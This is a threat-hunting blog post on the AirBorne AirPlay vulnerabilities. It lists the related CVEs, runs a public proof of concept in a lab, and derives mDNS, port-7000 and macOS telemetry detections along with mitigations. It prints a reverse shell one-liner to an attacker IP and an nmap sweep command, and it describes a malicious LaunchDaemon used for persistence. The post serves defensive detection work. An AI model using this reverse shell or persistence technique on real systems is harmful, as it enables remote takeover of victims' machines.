Poison Apples - Apple AirPlay Exploitation & RCE

Written By Argus Research

Introduction

On April 29 2025, the Oligo Security Research Team published their findings on multiple vulnerabilities in Apple’s Airplay protocol and related AirPlay Software Development Kit (SDK). The vulnerabilities had a series of potential impacts ranging from DoS (Denial of Service), MiTM (Man in The Middle), information disclosure, arbitrary file read, user interaction bypass, to threats as severe as RCE (Remote Code Execution). The vulnerabilities were collectively dubbed “AirBorne” by Oligo’s team.

The scope of impacted devices includes both Apple devices directly and third-party devices leveraging the AirPlay SDK such as CarPlay-supported vehicles. Additionally, several of the vulnerabilities possess wormable capabilities, meaning there is risk of automated exploitation and lateral movement through networks of compromised hosts without human interaction. Fortunately for the (very large) population of Apple users globally, Oligo followed responsible disclosure procedure with the vulnerabilities and Apple was able to patch accordingly prior to the publication of the research.


The vulnerabilities described in Oligo’s post did not all receive CVE-ID’s but those that did are listed comprehensively below in numeric order with their description from NIST (hold onto your hat, there are a few).

  • CVE-2025-24126

    • An input validation issue was addressed. This issue is fixed in visionOS 2.3, iOS 18.3 and iPadOS 18.3, macOS Sequoia 15.3, watchOS 11.3, tvOS 18.3. An attacker on the local network may be able to cause unexpected system termination or corrupt process memory (NIST)

  • CVE-2025-24129

    • A type confusion issue was addressed with improved checks. This issue is fixed in visionOS 2.3, iOS 18.3 and iPadOS 18.3, macOS Sequoia 15.3, watchOS 11.3, tvOS 18.3. A remote attacker may cause an unexpected app termination (NIST)

  • CVE-2025-24131

    • The issue was addressed with improved memory handling. This issue is fixed in visionOS 2.3, iOS 18.3 and iPadOS 18.3, macOS Sequoia 15.3, watchOS 11.3, tvOS 18.3. An attacker in a privileged position may be able to perform a denial-of-service. (NIST)

  • CVE-2025-24132

    • The issue was addressed with improved memory handling. This issue is fixed in AirPlay audio SDK 2.7.1, AirPlay video SDK 3.6.0.126, CarPlay Communication Plug-in R18.1. An attacker on the local network may cause an unexpected app termination (NIST)

  • CVE-2025-24137

    • A type confusion issue was addressed with improved checks. This issue is fixed in iPadOS 17.7.4, macOS Sonoma 14.7.3, visionOS 2.3, iOS 18.3 and iPadOS 18.3, macOS Sequoia 15.3, watchOS 11.3, tvOS 18.3. A remote attacker may cause an unexpected application termination or arbitrary code execution. (NIST)

  • CVE-2025-24177

    • A null pointer dereference was addressed with improved input validation. This issue is fixed in macOS Sequoia 15.3, iOS 18.3 and iPadOS 18.3. A remote attacker may be able to cause a denial-of-service. (NIST)

  • CVE-2025-24179

    • A null pointer dereference was addressed with improved input validation. This issue is fixed in iOS 18.3 and iPadOS 18.3, visionOS 2.3, macOS Ventura 13.7.5, iPadOS 17.7.6, macOS Sonoma 14.7.5, macOS Sequoia 15.3, tvOS 18.3. An attacker on the local network may be able to cause a denial-of-service. (NIST)

  • CVE-2025-24206

    • An authentication issue was addressed with improved state management. This issue is fixed in macOS Sequoia 15.4, tvOS 18.4, macOS Ventura 13.7.5, iPadOS 17.7.6, macOS Sonoma 14.7.5, iOS 18.4 and iPadOS 18.4, visionOS 2.4. An attacker on the local network may be able to bypass authentication policy. (NIST)

  • CVE-2025-24251

    • The issue was addressed with improved checks. This issue is fixed in macOS Sequoia 15.4, tvOS 18.4, macOS Ventura 13.7.5, iPadOS 17.7.6, macOS Sonoma 14.7.5, iOS 18.4 and iPadOS 18.4, watchOS 11.4, visionOS 2.4. An attacker on the local network may cause an unexpected app termination. (NIST)

  • CVE-2025-24252

    • A use-after-free issue was addressed with improved memory management. This issue is fixed in macOS Sequoia 15.4, tvOS 18.4, macOS Ventura 13.7.5, iPadOS 17.7.6, macOS Sonoma 14.7.5, iOS 18.4 and iPadOS 18.4, visionOS 2.4. An attacker on the local network may be able to corrupt process memory. (NIST)

  • CVE-2025-24270

    • This issue was addressed by removing the vulnerable code. This issue is fixed in macOS Sequoia 15.4, tvOS 18.4, macOS Ventura 13.7.5, iPadOS 17.7.6, macOS Sonoma 14.7.5, iOS 18.4 and iPadOS 18.4, visionOS 2.4. An attacker on the local network may be able to leak sensitive user information. (NIST)

  • CVE-2025-24271

    • An access issue was addressed with improved access restrictions. This issue is fixed in macOS Sequoia 15.4, tvOS 18.4, macOS Ventura 13.7.5, iPadOS 17.7.6, macOS Sonoma 14.7.5, iOS 18.4 and iPadOS 18.4, visionOS 2.4. An unauthenticated user on the same network as a signed-in Mac could send it AirPlay commands without pairing. (NIST)

  • CVE-2025-30422

    • A buffer overflow was addressed with improved input validation. This issue is fixed in AirPlay audio SDK 2.7.1, AirPlay video SDK 3.6.0.126, CarPlay Communication Plug-in R18.1. An attacker on the local network may cause an unexpected app termination. (NIST)

  • CVE-2025-30445

    • A type confusion issue was addressed with improved checks. This issue is fixed in macOS Sequoia 15.4, tvOS 18.4, macOS Ventura 13.7.5, iPadOS 17.7.6, macOS Sonoma 14.7.5, iOS 18.4 and iPadOS 18.4, visionOS 2.4. An attacker on the local network may cause an unexpected app termination. (NIST)

  • CVE-2025-31197

    • The issue was addressed with improved checks. This issue is fixed in macOS Sequoia 15.4, tvOS 18.4, macOS Ventura 13.7.5, iPadOS 17.7.6, macOS Sonoma 14.7.5, iOS 18.4 and iPadOS 18.4, visionOS 2.4. An attacker on the local network may cause an unexpected app termination. (NIST)

  • CVE-2025-31202

    • A null pointer dereference was addressed with improved input validation. This issue is fixed in iOS 18.4 and iPadOS 18.4, macOS Sequoia 15.4, tvOS 18.4, visionOS 2.4. An attacker on the local network may be able to cause a denial-of-service. (NIST)

  • CVE-2025-31203

    • An integer overflow was addressed with improved input validation. This issue is fixed in macOS Sequoia 15.4, tvOS 18.4, iPadOS 17.7.6, macOS Sonoma 14.7.5, iOS 18.4 and iPadOS 18.4, watchOS 11.4, visionOS 2.4. An attacker on the local network may be able to cause a denial-of-service. (NIST)

Proof-of-Concept (POC)

At Argus Defense, we believe in both fully utilizing and contributing back to the world of open-source intelligence (OSINT) and empowering organizations to operationalize abstract intel into real-world defensive operations such as detection and threat hunting. One key way we do this is by running in-house simulations in lab environments and using the resulting data to both validate internal hunting and detection logic and give back to the community to help others find and stop malicious actors.

At the time of writing this article there is one POC listed for these vulnerabilities on Github which presents a great opportunity to create some organic data to drive hunting and detection efforts. The POC (https://github[.]com/ekomsSavior/AirBorne-PoC) contains several Python files that claim to leverage CVE-2025-24252 and CVE-2025-24132 to crash victim systems and/or cause RCE based on the file used. The contents of the Github repo are shown below:


Before using this code to evaluate potential detection opportunities, it is important to note that technical information regarding the exploits is extremely limited outside what was provided in Oligo’s writeup. The validity of this POC code cannot be verified but at the very least it is capable of creating some anomalous AirPlay traffic and that provides a great place to start hunting. While specifics of what the network traffic for Oligo’s official POC look like are not known, it can be determined that the traffic will be sent over one of the two primary ways AirPlay traffic communicates (mDNS or port 7000/TCP). Knowing that at least some of the exploitation activity involves buffer overflow, there is also a high probability that malformed/overly-large packets will be anomalous both in network traffic logs and logs on the victim device so anything we can do to simulate that will help create some simulation data.

Running quickly through setup, several parameters need to be filled out in the crashtest_CVE-2025-24252.py file:


After setup we’re ready to run the Python file:


After starting the program and moving to WireShark, we can see the malformed mDNS packets being sent over the wire:

Going back to the description of CVE-2025-24252, this is a UAF/Use-After-Free vulnerability that allows an attacker to corrupt process memory of areas already freed by the victim process, or even specific memory as noted in Oligo’s writeup (“CVE-2025-24252 is a use-after-free (UAF) vulnerability that can be used as a UAF or manipulated into an ‘arbitrary free’ action”). Because this data is all A’s in the above screenshot it is intending to cause a process crash to any vulnerable system subscribed to that specific mDNS service type.

The traffic shown in the above screenshot leads to our first hunting item: rare/anomalous mDNS traffic for _airplay._tcp.local. These queries will be destined for 224.0.0.251 (multicast) and if packet-body telemetry exists, hunting for anomalous oversized data such as “AAAAAAAAAAAAAAAAAAA” will be even higher-fidelity.

Later in the README of the POC repo, an nmap command is provided to scan the local subnet for open services on port 7000/TCP (AirPlay):

nmap -p 7000 --open --script=banner <your-local-subnet>/24


This is another great opportunity to detect pre-exploit activity as port sweep activity (one host scanning the same port on many others) is a very generic reconnaissance/discovery technique used by many threat actors. For more information on this technique and additional examples of its usage check out both MITRE’s T1595 (Active Scanning) and T1046 (Network Service Discovery) techniques.


Moving onto the PoC_CVE-2025-24132(.py) file in the POC repo, we can examine the network traffic sent by changing the target IP parameters and setting up a quick Apache2 server on port 7000 to be our “victim”:

The HTTP 400 error above can be ignored as the POC code only required there to be some type of live host running a service on port 7000/TCP that would respond to a TCP handshake in order for the exploit packet be sent. Because we’re only trying to examine network traffic here, this is a quick and easy way to bypass connectivity-based errors/warnings.

Moving back into WireShark we can see that again, the oversized “AAAAAAAAA” data is visible in the packet but this time the attacker machine is contacting the victim directly on port 7000/TCP. This appears to be a direct targeting variant of crashtest_CVE-2025-24252.py that crashes the related process on the target machine.

Continuing onto the CVE-2025-24132_RCE.py file, which is the same as the last file but supposedly capable of incurring RCE instead of just a crash. After filling out both the target and victim addresses the exploit is launched:

Viewing the newest traffic in WireShark, the same port 7000/TCP traffic is visible but instead of “AAAAAAAA” data a simple reverse shell is visible at the end of the packet body (bin/sh -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1).

Again, if packet contents is fair game for your detection and hunting setup, reverse shells like this are easy to pick out since this traffic is not encrypted and is easily parsed by IDS (Intrusion Detection) products such as Suricata. If only firewall data is available, there is another hunting option here because of the RCE component: the callback. While there is no requirement for the RCE to run a reverse shell back to the machine running the exploit, this specific instance did just that and provides an opportunity to hunt for hosts contacting others on port 7000/TCP and getting suspicious return traffic back. In this case it is a plain reverse shell calling back to port 4444/TCP which is highly suspicious. The execution of the reverse shell would also be visible in both EDR process network and process execution telemetry as /bin/sh is called and opens a socket to connect back to the attacker machine.


The chain_exploit.py file in the repo is a combination of all the others to automate exploitation and includes functionality to autodiscover new targets via passive mDNS sniffing (see MITRE’s T1040 - Network Sniffing).


This POC code was also run against a MacOS device with an unpatched AirPlay service and no crash, RCE, or other indications of successful exploit were observed but the AirPlay requests did create various logs in the Apple Unified Logging System which will be covered in the next section.


While no crash or RCE was observed on the victim MacOS system, we can take what we know about RCE in general and create something very similar. To do this, a basic MacOS LaunchDaemon will be created in place of a RCE-vulnerable parent process. This LaunchDaemon will execute the same reverse shell command the CVE-2025-24252 POC was attempting to run before. The screenshot below shows the malicious LaunchDaemon plist:

Before starting this malicious reverse shell the attacker machine must be prepped with both netcat (to accept the callback from the reverse shell) and WireShark (to view the reverse shell traffic over the wire):

Back on the victim MacOS machine, after placing the malicious .plist file in /Library/LaunchDaemons/ with the proper ownership of root:wheel, the attack is nearly ready to go. In order for Launchd to execute this job the machine either needs to reboot or be told to manually load the new task via launchctl (shown below):

Now that Launchd has executed the reverse shell, the callback traffic is visible in WireShark:

Additionally, the netcat listener on the attacker machine is now connected to the remote shell on the victim MacOS device:

As an additional callout, this shell access persisted even after the malicious LaunchDaemon plist file was unloaded and removed, the spawned child process had to be manually killed via terminal or the machine rebooted to cut off remote access.

Hunting the POC Activity

Now that the POC code has been run, the activity can be hunted in the SIEM with available data source. In this lab, the following data was available relating to the attempted exploitation activity:

  1. Zeek (Both DNS & Network Connection Data)

  2. MacOS Enterprise Security API Events

  3. MacOS Unified Logs (AirPlay Events)


Starting with Zeek, the raw JSON logs can be searched to show:

  1. Port 7000/TCP Scanning

2. Anomalous UDP Activity on mDNS Ports & Addresses

3. Anomalous PTR Requests for _airplay._tcp.local (from crashtest_CVE-2025-24252.py)

From the victim machine’s local logging, the Apple Unified Logs can be searched for indications of the malicious AirPlay request. The below screenshot shows the query and corresponding results indicating an AirPlay request was received from the attacker device (192.168.0[.]106)

Finally, the events captured by MacOS Enterprise Security API’s eslogger command illustrate both the execution of the reverse shell and its interaction with the file system when hands-on-keyboard activity begins:

While this activity spawned under launchd in this example, AirPlay-based RCE would look identical but with a parent process such as airplayd, controlcenter, or some other AirPlay-related process.

Recommendations & Next Steps

Oligo’s team provided provided the following steps to reduce the risk of exploitation in addition to updating vulnerable devices to patched versions of their respective operating system:

  • Disable AirPlay Receiver: We recommend fully disabling the AirPlay receiver if it is not in use.‍

  • Restrict AirPlay Access: Create firewall rules to limit AirPlay communication (Port 7000 on Apple devices) to only trusted devices, enhancing network security and reducing exposure.

  • Restrict AirPlay Settings: Change the “Allow AirPlay for” to “Current User”. While this does not prevent all of the issues mentioned in the report, it does reduce the protocol’s attack surface.

General Prevention & Network Best Practices

As a quick aside, it’s important to discuss how this threat relates to security best practices, both from a personal and enterprise perspective. These vulnerabilities require both the victim and the target be on the same network and be able to contact each other directly or via multicast. This means that in order to be targeted by this, there must be a compromised machine on the local network where an actor is either directly present on or proxying through from an external source via reverse tunnel. This underscores the importance of securing networks with both strong passwords and the most updated protocols such as WPA3.

Preventing unauthorized devices from joining a network is the first line of defense but sometimes authorized devices on the network become compromised or an end user needs to join public/unsecured Wifi when traveling. When joining untrusted networks (and even in general), strong host-based firewall policy is non-negotiable. Exploitation of any application-layer vulnerability is only possible if the underlying layers of the OSI model are active/reachable and if access is prevented down at the network level, subsequent access up at the application layer is impossible and exploitation is mitigated, even on an unpatched service.


Strong network segmentation, host-based firewall policy, and network access control all play vital parts in preventing malicious activity and enforcing least-access as far down on the OSI model as possible. This prevents both current and future threats operating on the above layers (an idea that can never be stressed enough). Finally, in addition to the preventative controls, having network monitoring paired with strong segmentation allows for effective threat hunting of malicious activity that enables rapid identification and containment of threats.

Hunting & Detection Recap

• Rare/anomalous mDNS traffic (destination IP of 224.0.0.251) for the service type of <DEVICE_NAME>._airplay._tcp.local

• Packets can be anomalous by either coming from a rare source IP/MAC address or having a new/historically-anomalous <DEVICE_NAME> prior to ._airplay._tcp.local in the PTR body

• Port sweep/scanning activity involving port 7000/TCP

• Rare/anomalous devices making contact with port 7000/TCP on vulnerable devices, especially when followed by rare network traffic from the target machine, either back to the device making the request to 7000/TCP or some other suspicious external address

• Rare/anomalous child processes of AirPlay-related processes on MacOS systems

• Rare usage of command interpreters on MacOS systems (/bin/zsh, /bin/bash, /bin/sh, etc) especially when spawned under rare parent processes

• Deviations in network traffic baselines for standalone AirPlay receiver devices

  • These devices should have a very predictable baseline in traffic as they are not used for other purposes like a MacOS workstation might be

References

https://www.oligo.security/blog/airborne

Argus Research